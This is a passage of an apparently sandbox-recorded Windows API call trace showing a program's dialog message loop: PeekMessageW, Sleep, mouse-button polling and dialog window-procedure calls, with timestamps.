wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.697] Sleep (dwMilliseconds=0x0) [0033.700] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.701] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.701] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.701] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.701] Sleep (dwMilliseconds=0x0) [0033.701] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.701] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.701] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.715] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.715] Sleep (dwMilliseconds=0x0) [0033.715] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.715] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.715] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.715] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.715] Sleep (dwMilliseconds=0x0) [0033.716] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.717] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.717] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.717] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.717] Sleep (dwMilliseconds=0x0) [0033.724] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0033.724] TranslateAcceleratorW (hWnd=0x5018c, hAccTable=0x4e01dd, lpMsg=0xc80cb2f8f0) returned 0 [0033.724] IsDialogMessageW (hDlg=0x5018c, lpMsg=0xc80cb2f8f0) returned 1 [0033.724] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0033.724] TranslateAcceleratorW (hWnd=0x5018c, hAccTable=0x4e01dd, lpMsg=0xc80cb2f8f0) returned 0 [0033.724] TranslateMessage (lpMsg=0xc80cb2f8f0) returned 0 [0033.724] DispatchMessageW (lpMsg=0xc80cb2f8f0) returned 0x0 [0033.724] GetForegroundWindow () returned 0x5018c [0033.724] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.724] GetCursorPos (in: lpPoint=0xc80cb2f750 | out: lpPoint=0xc80cb2f750*(x=568, y=532)) returned 1 [0033.724] ScreenToClient (in: hWnd=0x5018c, lpPoint=0xc80cb2f750 | out: lpPoint=0xc80cb2f750) returned 1 [0033.724] GetAsyncKeyState (vKey=1) returned 0 [0033.724] GetAsyncKeyState (vKey=2) returned 0 [0033.724] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.724] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.724] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.724] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.724] Sleep (dwMilliseconds=0x0) [0033.725] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.725] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.725] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.725] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.725] Sleep (dwMilliseconds=0x0) [0033.725] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.726] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.726] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.726] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.726] Sleep (dwMilliseconds=0x0) [0033.726] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.726] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.726] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.726] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.726] Sleep (dwMilliseconds=0x0) [0033.727] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.727] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.727] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.727] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.727] Sleep (dwMilliseconds=0x0) [0033.727] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.727] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.727] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.727] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.727] Sleep (dwMilliseconds=0x0) [0033.728] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.728] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.728] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.728] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.728] Sleep (dwMilliseconds=0x0) [0033.728] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.728] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.728] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.728] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.728] Sleep (dwMilliseconds=0x0) [0033.729] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.729] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.729] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.729] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.729] Sleep (dwMilliseconds=0x0) [0033.729] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.729] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.729] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.729] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.729] Sleep (dwMilliseconds=0x0) [0033.729] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.730] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.730] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.730] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.730] Sleep (dwMilliseconds=0x0) [0033.730] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.730] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.730] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.730] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.730] Sleep (dwMilliseconds=0x0) [0033.730] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.731] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.731] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.731] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.731] Sleep (dwMilliseconds=0x0) [0033.731] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.731] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.731] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.731] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.731] Sleep (dwMilliseconds=0x0) [0033.731] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.731] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.732] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.732] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.732] Sleep (dwMilliseconds=0x0) [0033.732] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.732] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.732] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.732] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.732] Sleep (dwMilliseconds=0x0) [0033.739] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.739] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.739] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.739] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.739] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.739] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.739] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.739] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.740] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.740] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.740] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.740] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.748] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.760] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.760] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.760] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.760] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.760] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.760] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.760] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.761] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.761] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.761] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.761] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.761] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.761] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.761] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.761] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.762] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.762] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.762] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.762] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.763] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.763] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.763] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.763] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.763] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.763] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.763] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.763] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.766] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0033.766] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.766] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x210, wParam=0x201, lParam=0x19e00f7) returned 0x0 [0033.766] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.766] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x21, wParam=0x5018c, lParam=0x2010001) returned 0x1 [0033.766] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.766] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.766] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x20, wParam=0x9001e, lParam=0x2010001) returned 0x0 [0033.766] TranslateAcceleratorW 